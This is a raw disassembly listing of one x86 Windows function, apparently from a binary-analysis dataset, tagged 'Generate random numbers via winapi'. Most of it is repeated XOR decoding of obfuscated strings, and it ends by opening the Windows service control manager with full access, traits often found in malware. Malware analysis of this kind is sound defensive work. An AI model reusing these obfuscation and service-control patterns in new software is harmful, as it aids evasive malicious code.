Function at 0x40b804
Capabilities:
Generate random numbers via winapi

Disassembly:
pop eax
lea esi, [esp + 0x3b8]
mov dword [esp + 0x64], eax
mov eax, dword [ecx + 0xa0]
mov dword [esp + 0x3b4], eax
mov eax, 0xa0
push eax
push ecx
push esi
call fcn.00462380
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [esi + 4]
mov dword [esp + 0x32c], eax
or eax, ecx
mov dword [esp + 0x328], ecx
je 0x407bec
mov eax, dword [esp + 0x3e4]
lea edi, [esp + 0xf0]
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x328]
mov dword [esp + 0xdc], eax
mov eax, dword [esp + 0x32c]
mov dword [esp + 0xd8], eax
lea eax, [0x466899]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0x2c5d6ea1
mov edx, dword [edi]
call fcn.00403fab
xor ecx, ecx
mov dl, 1
mov dword [edi + 4], ecx
mov dword [edi], ecx
mov esi, ecx
movzx ebx, byte [ecx + 0x4737cf]
or esi, 1
movzx esi, byte [esi + 0x4737cf]
shl esi, 8
or esi, ebx
mov ebx, ecx
or ebx, 2
movzx ebx, byte [ebx + 0x4737cf]
shl ebx, 0x10
or esi, ebx
mov ebx, ecx
or ebx, 3
movzx ebx, byte [ebx + 0x4737cf]
shl ebx, 0x18
or esi, ebx
xor esi, dword [eax + ecx]
mov dword [esp + ecx + 0xf0], esi
xor esi, esi
test dl, 1
mov ecx, 4
mov edx, 0
jne 0x407835
mov al, byte [eax + 8]
movsd xmm0, qword [esp + 0xf0]
lea ecx, [esp + 0x40]
mov dword [esp + 0xcc], ecx
mov dword [esp + 0xd0], 9
xor al, 0xbe
movsd qword [ecx], xmm0
mov byte [ecx + 8], al
lea eax, [0x4694e0]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x245dc68
mov edx, dword [esp + 0xf0]
call fcn.0040325b
mov cl, 1
mov dword [esp + 0xf4], esi
mov dword [esp + 0xf0], esi
mov edx, esi
movzx ebx, byte [esi + 0x4737d8]
or edx, 1
movzx edx, byte [edx + 0x4737d8]
shl edx, 8
or edx, ebx
mov ebx, esi
or ebx, 2
movzx ebx, byte [ebx + 0x4737d8]
shl ebx, 0x10
or edx, ebx
mov ebx, esi
or ebx, 3
movzx ebx, byte [ebx + 0x4737d8]
shl ebx, 0x18
or edx, ebx
xor ebx, ebx
xor edx, dword [eax + esi]
test cl, 1
mov ecx, 0
mov dword [esp + esi + 0xf0], edx
mov esi, 4
jne 0x4078f0
lea esi, [esp + 0xf0]
lea eax, [esp + 0xcc]
lea ecx, [esp + 0xd8]
lea edx, [esp + 0x70]
movsd xmm0, qword [esi]
mov dword [esi], eax
mov eax, 0x418ba0
mov dword [edx], 0x47a9ac
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
lea ecx, [esp + 0xc0]
mov dword [esi + 0xc], fcn.0041c050
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], eax
mov eax, 3
mov dword [edx + 4], eax
mov dword [edx + 0x10], ebx
mov dword [edx + 8], edi
lea edi, [esp + 0xb0]
mov dword [edx + 0xc], eax
mov dword [ecx], edi
movsd qword [edi], xmm0
lea edi, [esp + 0x24]
mov dword [ecx + 4], 8
mov ecx, edi
call fcn.004146f0
lea eax, [esp + 0x20]
mov ecx, esi
mov dword [edi - 4], 0x12
lea edx, [esp + 0x6c]
push eax
call fcn.00402e6d
add esp, 4
mov ecx, esi
call fcn.00401b70
lea eax, [esp + 0xd8]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
push ebx
call fcn.00451420
add esp, 4
lea eax, [0x46b327]
mov dword [esi], eax
mov ecx, dword [esi]
mov dword [esi], 0x7b9272e8
mov edx, dword [esi]
call fcn.00403923
mov cl, 1
mov dword [esi + 4], ebx
mov dword [esi], ebx
mov edx, ebx
movzx edi, byte [ebx + 0x4737e0]
or edx, 1
movzx edx, byte [edx + 0x4737e0]
shl edx, 8
or edx, edi
mov edi, ebx
or edi, 2
movzx edi, byte [edi + 0x4737e0]
shl edi, 0x10
or edx, edi
mov edi, ebx
or edi, 3
movzx edi, byte [edi + 0x4737e0]
shl edi, 0x18
or edx, edi
xor edi, edi
xor edx, dword [eax + ebx]
test cl, 1
mov ecx, 0
mov dword [esp + ebx + 0xf0], edx
mov ebx, 4
jne 0x407a0d
mov al, byte [eax + 8]
movsd xmm0, qword [esp + 0xf0]
xor al, 0x33
movsd qword [esp + 0x40], xmm0
mov byte [esp + 0x48], al
lea eax, [esp + 0x40]
mov dword [esp + 0xcc], eax
lea eax, [0x464e1c]
mov dword [esp + 0xd0], 9
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x5f7e0cb4
mov edx, dword [esp + 0xf0]
call fcn.004039f9
mov cl, 1
mov dword [esp + 0xf4], edi
mov dword [esp + 0xf0], edi
mov edx, edi
movzx ebx, byte [edi + 0x4737e9]
or edx, 1
movzx edx, byte [edx + 0x4737e9]
shl edx, 8
or edx, ebx
mov ebx, edi
or ebx, 2
movzx ebx, byte [ebx + 0x4737e9]
shl ebx, 0x10
or edx, ebx
mov ebx, edi
or ebx, 3
movzx ebx, byte [ebx + 0x4737e9]
shl ebx, 0x18
or edx, ebx
xor edx, dword [eax + edi]
test cl, 1
mov ecx, 0
mov dword [esp + edi + 0xf0], edx
mov edi, 4
jne 0x407acb
lea edi, [esp + 0xf0]
lea ecx, [esp + 0xcc]
mov edx, 0x418ba0
lea eax, [esp + 0xb0]
movsd xmm0, qword [edi]
mov dword [edi], ecx
lea ecx, [esp + 0xd8]
mov dword [edi + 4], edx
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], 8
mov dword [edi + 8], ecx
lea ecx, [esp + 0xc0]
mov dword [edi + 0xc], fcn.0041c050
mov dword [edi + 0x10], ecx
mov dword [edi + 0x14], edx
lea edx, [esp + 0x70]
mov ecx, 3
mov dword [edx], 0x47a9ac
mov dword [edx + 4], ecx
mov dword [edx + 0x10], 0
mov dword [edx + 8], esi
lea esi, [esp + 0x24]
mov dword [edx + 0xc], ecx
mov ecx, esi
movsd qword [esp + 0xb0], xmm0
call fcn.004146f0
mov dword [esi - 4], 0x13
lea esi, [esp + 0x6c]
lea eax, [esp + 0x20]
mov ecx, edi
mov edx, esi
push eax
call fcn.00402e6d
add esp, 4
mov ecx, edi
call fcn.00401b70
lea ebx, [esp + 0x70]
mov dword [edi], 9
mov edx, esi
mov ecx, ebx
push edi
call fcn.00402e6d
add esp, 4
mov ecx, ebx
call fcn.00401b70
mov ecx, esi
call fcn.00401e6f
mov al, byte [esp + 0x454]
test al, al
mov byte [esp + 0xbf], al
jne 0x40a70c
mov eax, dword [esp + 0x3e8]
lea esi, [esp + 0xf0]
mov dword [esp + 0xb0], eax
lea eax, [0x4713ca]
mov dword [esi], eax
mov ecx, dword [esi]
mov dword [esi], 0xb22e39e3
mov edx, dword [esi]
call fcn.004033eb
xorps xmm0, xmm0
mov ecx, 0xfffffffc
movaps xmmword [esi], xmm0
mov edx, dword [ecx + 0x473a34]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0xc
jb 0x407c39
movaps xmm0, xmmword [esp + 0xf0]
mov ecx, 0x10
xor edx, edx
xor edi, edi
movaps xmmword [esp + 0x50], xmm0
call fcn.0043b1bc
movaps xmm0, xmmword [esp + 0x50]
lea ebx, [esp + 0x70]
mov ecx, ebx
movups xmmword [edx], xmm0
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf8], edx
mov dword [esp + 0xfc], 0x10
mov dword [esp + 0xf0], 0x12
lea edx, [esp + 0xb0]
push esi
call fcn.00402e6d
add esp, 4
mov ecx, ebx
call fcn.00401b70
lea eax, [0x4845aa]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xea2dc543
mov edx, dword [esp + 0xf0]
call fcn.0045eda7
mov ecx, 0xfffffffc
mov dword [esp + 0xf4], edi
mov dword [esp + 0xf0], edi
mov dword [esp + 0xf8], edi
mov edx, dword [ecx + 0x486604]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 8
jb 0x407cfb
mov eax, dword [esp + 0xf8]
movsd xmm0, qword [esp + 0xf0]
mov ecx, 0xc
mov dword [esp + 0x28], eax
movsd qword [esp + 0x20], xmm0
call fcn.0045e82e
movsd xmm0, qword [esp + 0x20]
movsd qword [edx], xmm0
mov ecx, dword [esp + 0x28]
mov dword [edx + 8], ecx
mov dword [esp + 0x40], eax
lea eax, [0x479b0b]
mov dword [esp + 0x44], edx
mov dword [esp + 0x48], 0xc
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xd240c631
mov edx, dword [esp + 0xf0]
call fcn.0045ea07
xor ecx, ecx
xorps xmm0, xmm0
mov dword [esp + 0x104], ecx
mov dword [esp + 0x100], ecx
mov ecx, 0xfffffffc
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [ecx + 0x486610]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0x14
jb 0x407da4
movzx eax, word [eax + 0x18]
lea edi, [esp + 0xf0]
mov ecx, 0x1a
movaps xmm0, xmmword [edi]
movsd xmm1, qword [edi + 0x10]
xor eax, 0xecd8
movaps xmmword [esp + 0x70], xmm0
movsd qword [esp + 0x80], xmm1
mov word [esp + 0x88], ax
call fcn.0045e82e
movsd xmm0, qword [esp + 0x70]
movsd xmm1, qword [esp + 0x78]
movsd qword [edx], xmm0
movsd qword [edx + 8], xmm1
movsd xmm0, qword [esp + 0x80]
movsd qword [edx + 0x10], xmm0
movzx ecx, word [esp + 0x88]
mov word [edx + 0x18], cx
mov dword [edi], eax
mov dword [edi + 4], edx
lea ecx, [esp + 0x40]
mov edx, edi
mov dword [edi + 8], 0x1a
call fcn.0045f1ab
lea eax, [0x479c82]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0xad406396
mov edx, dword [edi]
call fcn.0045edfc
xor ecx, ecx
mov dl, 1
mov dword [edi + 4], ecx
mov dword [edi], ecx
mov esi, ecx
movzx ebx, byte [ecx + 0x486626]
or esi, 1
movzx esi, byte [esi + 0x486626]
shl esi, 8
or esi, ebx
mov ebx, ecx
or ebx, 2
movzx ebx, byte [ebx + 0x486626]
shl ebx, 0x10
or esi, ebx
mov ebx, ecx
or ebx, 3
movzx ebx, byte [ebx + 0x486626]
shl ebx, 0x18
or esi, ebx
xor esi, dword [eax + ecx]
test dl, 1
mov edx, 0
mov dword [esp + ecx + 0xf0], esi
mov ecx, 4
jne 0x407e5b
mov esi, dword [esp + 0xf0]
mov ebx, dword [esp + 0xf4]
mov ecx, 8
call fcn.0045e82e
mov dword [edx + 4], ebx
mov dword [edx], esi
mov dword [esp + 0x20], eax
lea eax, [0x47c11a]
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], 8
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x64d02066
mov edx, dword [esp + 0xf0]
call fcn.0045eba0
xorps xmm0, xmm0
mov ecx, 0xfffffffc
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [ecx + 0x486632]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0xc
jb 0x407f16
mov al, byte [eax + 0x10]
lea edi, [esp + 0xf0]
mov ecx, 0x11
movaps xmm0, xmmword [edi]
xor al, 0xdd
movaps xmmword [esp + 0x70], xmm0
mov byte [esp + 0x80], al
call fcn.0045e82e
movsd xmm0, qword [esp + 0x70]
movsd xmm1, qword [esp + 0x78]
movsd qword [edx], xmm0
movsd qword [edx + 8], xmm1
mov cl, byte [esp + 0x80]
mov byte [edx + 0x10], cl
mov dword [edi], eax
mov dword [edi + 4], edx
lea ecx, [esp + 0x20]
mov edx, edi
mov dword [edi + 8], 0x11
call fcn.0045f1ab
lea eax, [0x477bdf]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0xc3f1be30
mov edx, dword [edi]
call fcn.0045ecd1
xor ecx, ecx
mov dl, 1
mov dword [edi + 4], ecx
mov dword [edi], ecx
mov esi, ecx
movzx ebx, byte [ecx + 0x48663f]
or esi, 1
movzx esi, byte [esi + 0x48663f]
shl esi, 8
or esi, ebx
mov ebx, ecx
or ebx, 2
movzx ebx, byte [ebx + 0x48663f]
shl ebx, 0x10
or esi, ebx
mov ebx, ecx
or ebx, 3
movzx ebx, byte [ebx + 0x48663f]
shl ebx, 0x18
or esi, ebx
xor esi, dword [eax + ecx]
mov dword [esp + ecx + 0xf0], esi
xor esi, esi
test dl, 1
mov ecx, 4
mov edx, 0
jne 0x407faa
movzx ecx, byte [eax + 0xa]
movzx eax, word [eax + 8]
xor eax, 0x9886
xor cl, 0xf3
mov word [esp + 0xf8], ax
mov byte [esp + 0xfa], cl
mov ecx, 0xb
movsd xmm0, qword [esp + 0xf0]
mov eax, dword [esp + 0xf7]
movsd qword [esp + 0x40], xmm0
mov dword [esp + 0x47], eax
call fcn.0045e82e
movsd xmm0, qword [esp + 0x40]
movsd qword [edx], xmm0
mov ecx, dword [esp + 0x47]
mov dword [edx + 7], ecx
mov dword [esp + 0x20], eax
lea eax, [0x47b601]
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], 0xb
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xdf179ef
mov edx, dword [esp + 0xf0]
call fcn.0045ed6a
xorps xmm0, xmm0
mov ecx, 0xfffffffc
mov dword [esp + 0x104], esi
mov dword [esp + 0x100], esi
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [ecx + 0x48664e]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0x14
jb 0x4080ac
lea edi, [esp + 0xf0]
mov ecx, 0x18
movsd xmm0, qword [edi + 0x10]
movaps xmm1, xmmword [edi]
movsd qword [esp + 0x80], xmm0
movaps xmmword [esp + 0x70], xmm1
call fcn.0045e82e
movsd xmm0, qword [esp + 0x70]
movsd xmm1, qword [esp + 0x78]
lea ecx, [esp + 0x20]
movsd qword [edx], xmm0
movsd qword [edx + 8], xmm1
movsd xmm0, qword [esp + 0x80]
movsd qword [edx + 0x10], xmm0
mov dword [edi], eax
mov dword [edi + 4], edx
mov edx, edi
mov dword [edi + 8], 0x18
call fcn.0045f1ab
lea eax, [0x47fb17]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0x1cac0e24
mov edx, dword [edi]
call fcn.0045e9f5
xor ecx, ecx
mov dl, 1
mov dword [edi + 4], ecx
mov dword [edi], ecx
mov esi, ecx
movzx ebx, byte [ecx + str.Tb]
or esi, 1
movzx esi, byte [esi + str.Tb]
shl esi, 8
or esi, ebx
mov ebx, ecx
or ebx, 2
movzx ebx, byte [ebx + str.Tb]
shl ebx, 0x10
or esi, ebx
mov ebx, ecx
or ebx, 3
movzx ebx, byte [ebx + str.Tb]
shl ebx, 0x18
or esi, ebx
xor esi, dword [eax + ecx]
test dl, 1
mov edx, 0
mov dword [esp + ecx + 0xf0], esi
mov ecx, 4
jne 0x408146
movzx ecx, byte [eax + 0xa]
movzx eax, word [eax + 8]
xor eax, 0x344e
xor cl, 0x89
mov word [esp + 0xf8], ax
mov byte [esp + 0xfa], cl
mov ecx, 0xb
movsd xmm0, qword [esp + 0xf0]
mov eax, dword [esp + 0xf7]
movsd qword [esp + 0x40], xmm0
mov dword [esp + 0x47], eax
call fcn.0045e82e
movsd xmm0, qword [esp + 0x40]
movsd qword [edx], xmm0
mov ecx, dword [esp + 0x47]
mov dword [edx + 7], ecx
mov dword [esp + 0x20], eax
lea eax, [0x485711]
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], 0xb
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x70be7de0
mov edx, dword [esp + 0xf0]
call fcn.0045ed47
xorps xmm0, xmm0
mov ecx, 0xfffffffc
mov dword [esp + 0x100], 0
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [ecx + 0x486671]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0x10
jb 0x408243
lea edi, [esp + 0xf0]
mov ecx, 0x14
mov eax, dword [edi + 0x10]
movaps xmm0, xmmword [edi]
mov dword [esp + 0x80], eax
movaps xmmword [esp + 0x70], xmm0
call fcn.0045e82e
movsd xmm0, qword [esp + 0x70]
movsd xmm1, qword [esp + 0x78]
movsd qword [edx], xmm0
movsd qword [edx + 8], xmm1
mov ecx, dword [esp + 0x80]
mov dword [edx + 0x10], ecx
mov dword [edi], eax
mov dword [edi + 4], edx
lea ecx, [esp + 0x20]
mov edx, edi
mov dword [edi + 8], 0x14
call fcn.0045f1ab
lea eax, [0x479a1b]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0x41613154
mov edx, dword [edi]
call fcn.0045ea3f
xor ecx, ecx
mov dl, 1
mov dword [edi + 4], ecx
mov dword [edi], ecx
mov esi, ecx
movzx ebx, byte [ecx + 0x486681]
or esi, 1
movzx esi, byte [esi + 0x486681]
shl esi, 8
or esi, ebx
mov ebx, ecx
or ebx, 2
movzx ebx, byte [ebx + 0x486681]
shl ebx, 0x10
or esi, ebx
mov ebx, ecx
or ebx, 3
movzx ebx, byte [ebx + 0x486681]
shl ebx, 0x18
or esi, ebx
xor esi, dword [eax + ecx]
test dl, 1
mov edx, 0
mov dword [esp + ecx + 0xf0], esi
mov ecx, 4
jne 0x4082d5
movzx ecx, byte [eax + 0xa]
movzx eax, word [eax + 8]
xor eax, 0xa3a1
xor cl, 0xe1
mov word [esp + 0xf8], ax
mov byte [esp + 0xfa], cl
mov ecx, 0xb
movsd xmm0, qword [esp + 0xf0]
mov eax, dword [esp + 0xf7]
movsd qword [esp + 0x40], xmm0
mov dword [esp + 0x47], eax
call fcn.0045e82e
movsd xmm0, qword [esp + 0x40]
movsd qword [edx], xmm0
mov ecx, dword [esp + 0x47]
mov dword [edx + 7], ecx
mov dword [esp + 0x20], eax
lea eax, [0x483996]
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], 0xb
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x9249664d
mov edx, dword [esp + 0xf0]
call fcn.0045ed0e
xorps xmm0, xmm0
mov ecx, 0xfffffffc
movaps xmmword [esp + 0x100], xmm0
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [ecx + 0x486690]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0x1c
jb 0x4083cf
mov al, byte [eax + 0x20]
lea edi, [esp + 0xf0]
mov ecx, 0x21
movaps xmm0, xmmword [edi]
movaps xmm1, xmmword [edi + 0x10]
xor al, 0x5b
movaps xmmword [esp + 0x70], xmm0
movaps xmmword [esp + 0x80], xmm1
mov byte [esp + 0x90], al
call fcn.0045e82e
mov ebx, eax
mov eax, 0x21
mov esi, edx
push eax
lea eax, [esp + 0x74]
push eax
push edx
call fcn.00462380
add esp, 0xc
mov eax, 0x21
lea ecx, [esp + 0x20]
mov edx, edi
mov dword [edi], ebx
mov dword [edi + 4], esi
mov dword [edi + 8], eax
call fcn.0045f1ab
lea eax, [0x47b82b]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0xd18a9920
mov edx, dword [edi]
call fcn.0045ee64
xor ecx, ecx
mov dl, 1
mov dword [edi + 4], ecx
mov dword [edi], ecx
mov esi, ecx
movzx ebx, byte [ecx + 0x4866ad]
or esi, 1
movzx esi, byte [esi + 0x4866ad]
shl esi, 8
or esi, ebx
mov ebx, ecx
or ebx, 2
movzx ebx, byte [ebx + 0x4866ad]
shl ebx, 0x10
or esi, ebx
mov ebx, ecx
or ebx, 3
movzx ebx, byte [ebx + 0x4866ad]
shl ebx, 0x18
or esi, ebx
xor esi, dword [eax + ecx]
test dl, 1
mov edx, 0
mov dword [esp + ecx + 0xf0], esi
mov ecx, 4
jne 0x408469
movzx ecx, byte [eax + 0xa]
movzx eax, word [eax + 8]
xor eax, 0x482a
xor cl, 0x2b
mov word [esp + 0xf8], ax
mov byte [esp + 0xfa], cl
mov ecx, 0xb
movsd xmm0, qword [esp + 0xf0]
mov eax, dword [esp + 0xf7]
movsd qword [esp + 0x40], xmm0
mov dword [esp + 0x47], eax
call fcn.0045e82e
movsd xmm0, qword [esp + 0x40]
movsd qword [edx], xmm0
mov ecx, dword [esp + 0x47]
mov dword [edx + 7], ecx
mov dword [esp + 0x20], eax
lea eax, [0x484b95]
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], 0xb
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0x185cc16f
mov edx, dword [esp + 0xf0]
call fcn.0045ec78
xorps xmm0, xmm0
mov ecx, 0xfffffffc
movaps xmmword [esp + 0x110], xmm0
movaps xmmword [esp + 0x100], xmm0
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [ecx + 0x4866bc]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0x2c
jb 0x40856b
lea edi, [esp + 0xf0]
mov al, byte [eax + 0x30]
mov ecx, 0x31
movaps xmm1, xmmword [edi + 0x10]
movaps xmm0, xmmword [edi]
mov byte [esp + 0xa0], al
movaps xmmword [esp + 0x80], xmm1
movaps xmm1, xmmword [edi + 0x20]
movaps xmmword [esp + 0x70], xmm0
movaps xmmword [esp + 0x90], xmm1
call fcn.0045e82e
mov esi, eax
mov eax, 0x31
mov ebx, edx
push eax
lea eax, [esp + 0x74]
push eax
push edx
call fcn.00462380
add esp, 0xc
mov eax, 0x31
lea ecx, [esp + 0x20]
mov edx, edi
mov dword [edi], esi
mov dword [edi + 4], ebx
mov dword [edi + 8], eax
call fcn.0045f1ab
lea eax, [0x480681]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0xae0f3edc
mov edx, dword [edi]
call fcn.0045ebbf
xor ecx, ecx
mov dl, 1
mov dword [edi + 4], ecx
mov dword [edi], ecx
mov esi, ecx
movzx ebx, byte [ecx + 0x4866e9]
or esi, 1
movzx esi, byte [esi + 0x4866e9]
shl esi, 8
or esi, ebx
mov ebx, ecx
or ebx, 2
movzx ebx, byte [ebx + 0x4866e9]
shl ebx, 0x10
or esi, ebx
mov ebx, ecx
or ebx, 3
movzx ebx, byte [ebx + 0x4866e9]
shl ebx, 0x18
or esi, ebx
xor esi, dword [eax + ecx]
mov dword [esp + ecx + 0xf0], esi
xor esi, esi
test dl, 1
mov ecx, 4
mov edx, 0
jne 0x40860f
movzx ecx, byte [eax + 0xa]
movzx eax, word [eax + 8]
xor eax, 0x6ce6
xor cl, 0xf1
mov word [esp + 0xf8], ax
mov byte [esp + 0xfa], cl
mov ecx, 0xb
movsd xmm0, qword [esp + 0xf0]
mov eax, dword [esp + 0xf7]
movsd qword [esp + 0x40], xmm0
mov dword [esp + 0x47], eax
call fcn.0045e82e
movsd xmm0, qword [esp + 0x40]
movsd qword [edx], xmm0
mov ecx, dword [esp + 0x47]
mov dword [edx + 7], ecx
mov dword [esp + 0x20], eax
lea eax, [0x47bee5]
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], 0xb
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xa328b413
mov edx, dword [esp + 0xf0]
call fcn.0045ec9f
xorps xmm0, xmm0
mov ecx, 0xfffffffc
mov dword [esp + 0x114], esi
mov dword [esp + 0x110], esi
movaps xmmword [esp + 0x100], xmm0
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [ecx + 0x4866f8]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0x24
jb 0x408719
lea ebx, [esp + 0xf0]
mov ecx, 0x28
movsd xmm0, qword [ebx + 0x20]
movaps xmm2, xmmword [ebx]
movaps xmm1, xmmword [ebx + 0x10]
movsd qword [esp + 0x90], xmm0
movaps xmmword [esp + 0x80], xmm1
movaps xmmword [esp + 0x70], xmm2
call fcn.0045e82e
mov esi, eax
mov eax, 0x28
mov edi, edx
push eax
lea eax, [esp + 0x74]
push eax
push edx
call fcn.00462380
add esp, 0xc
mov eax, 0x28
lea ecx, [esp + 0x20]
mov edx, ebx
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov dword [ebx + 8], eax
call fcn.0045f1ab
lea eax, [0x46919d]
mov dword [ebx], eax
mov ecx, dword [ebx]
mov dword [ebx], 0xb3aa9d44
mov edx, dword [ebx]
call fcn.00403bd8
xorps xmm0, xmm0
mov ecx, 0xfffffffc
movaps xmmword [ebx], xmm0
mov edx, dword [ecx + 0x473a44]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0xc
jb 0x4087b7
movaps xmm0, xmmword [esp + 0xf0]
mov ecx, 0x10
xor edx, edx
movaps xmmword [esp + 0x50], xmm0
call fcn.0043b1bc
movaps xmm0, xmmword [esp + 0x50]
lea esi, [esp + 0x70]
lea edi, [esp + 0xb0]
mov ecx, esi
movups xmmword [edx], xmm0
mov dword [esp + 0xf4], eax
lea eax, [esp + 0xf0]
mov dword [esp + 0xf8], edx
mov dword [esp + 0xfc], 0x10
mov dword [esp + 0xf0], 0x13
mov edx, edi
push eax
call fcn.00402e6d
add esp, 4
mov ecx, esi
call fcn.00401b70
mov ecx, edi
call fcn.00401e6f
mov eax, dword [esp + 0x3c8]
test eax, eax
mov dword [esp + 0x10], eax
je 0x4088e6
cmp eax, 0xaaaaaaa
ja 0x40b766
lea eax, [eax*4]
lea edx, [eax + eax*2]
test edx, edx
js 0x40b766
mov edi, dword [esp + 0x3c4]
mov al, byte [0x48fdb4]
xor ecx, ecx
xor ebx, ebx
mov dword [esp + 8], edx
call fcn.0045a4d0
test eax, eax
mov dword [esp + 0x1c], eax
je 0x40b789
mov esi, dword [esp + 0x10]
cmp dword [esp + 8], ebx
je 0x4088ee
mov edx, dword [edi + 4]
lea eax, [edi + 0xc]
lea ecx, [esp + 0xf0]
mov dword [esp + 0x50], eax
push dword [edi + 8]
call fcn.00415160
add esp, 4
mov eax, dword [esp + 0xf8]
mov ecx, dword [esp + 0x1c]
mov edi, dword [esp + 0x50]
dec esi
mov dword [ecx + ebx + 8], eax
movsd xmm0, qword [esp + 0xf0]
movsd qword [ecx + ebx], xmm0
lea ebx, [ebx + 0xc]
jne 0x40889b
jmp 0x4088ee
mov dword [esp + 0x1c], 4
mov eax, dword [esp + 0x3ec]
lea edi, [esp + 0xf0]
mov dword [esp + 0x330], eax
lea eax, [0x466b1e]
mov dword [esp + 0xf0], eax
mov ecx, dword [esp + 0xf0]
mov dword [esp + 0xf0], 0xa059edbf
mov edx, dword [esp + 0xf0]
call fcn.004037a8
xorps xmm0, xmm0
mov ecx, 0xfffffffc
movaps xmmword [esp + 0xf0], xmm0
mov edx, dword [ecx + 0x473a54]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0xf4], edx
add ecx, 4
cmp ecx, 0xc
jb 0x40893e
mov al, byte [eax + 0x10]
movaps xmm0, xmmword [esp + 0xf0]
mov ecx, 0x11
xor edx, edx
xor al, 8
movaps xmmword [esp + 0x20], xmm0
mov byte [esp + 0x30], al
call fcn.0043b1bc
movsd xmm0, qword [esp + 0x20]
movsd xmm1, qword [esp + 0x28]
lea esi, [esp + 0x70]
movsd qword [edx], xmm0
movsd qword [edx + 8], xmm1
mov cl, byte [esp + 0x30]
mov byte [edx + 0x10], cl
mov dword [esp + 0xf4], eax
mov dword [esp + 0xf8], edx
mov dword [esp + 0xfc], 0x11
mov dword [esp + 0xf0], 0x12
lea edx, [esp + 0x330]
mov ecx, esi
push edi
call fcn.00402e6d
add esp, 4
mov ecx, esi
call fcn.00401b70
mov ecx, dword [esp + 0x10]
call fcn.0045e853
test eax, eax
mov dword [esp + 0xac], edx
mov dword [esp + 8], eax
je 0x408a4f
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0xac]
mov esi, dword [esp + 8]
lea eax, [eax*4]
lea edi, [eax + eax*2]
mov eax, dword [esp + 0x1c]
test edi, edi
je 0x408a4f
mov edx, dword [eax + 4]
lea ecx, [eax + 0xc]
mov dword [esp + 0x50], ecx
lea ecx, [esp + 0xf0]
push dword [eax + 8]
call fcn.00415160
add esp, 4
mov eax, dword [esp + 0xf8]
add edi, 0xfffffff4
dec esi
mov dword [ebx + 8], eax
mov eax, dword [esp + 0x50]
movsd xmm0, qword [esp + 0xf0]
movsd qword [ebx], xmm0
lea ebx, [ebx + 0xc]
jne 0x408a0b
mov eax, dword [esp + 8]
mov edi, dword [esp + 0x10]
mov dword [esp + 0xd8], eax
mov eax, dword [esp + 0xac]
mov dword [esp + 0xdc], eax
mov dword [esp + 0xe0], edi
push 0xf003f
xor eax, eax
push eax
push eax
call sub.advapi32.dll_OpenSCManagerW
test eax, eax
mov dword [esp + 8], eax
je 0x408d6b
mov dword [esp + 0xec], 0
mov dword [esp + 0x6c], 0x6f1
xor ecx, ecx
mov edx, 0xf9e4
xor esi, esi
mov al, byte [0x48fdb4]
call fcn.0045a4d0
test eax, eax
je 0x40b797
mov ecx, 0x6f0
mov dword [esp + 0x60], eax
mov dword [eax + 4], esi
mov dword [eax], esi
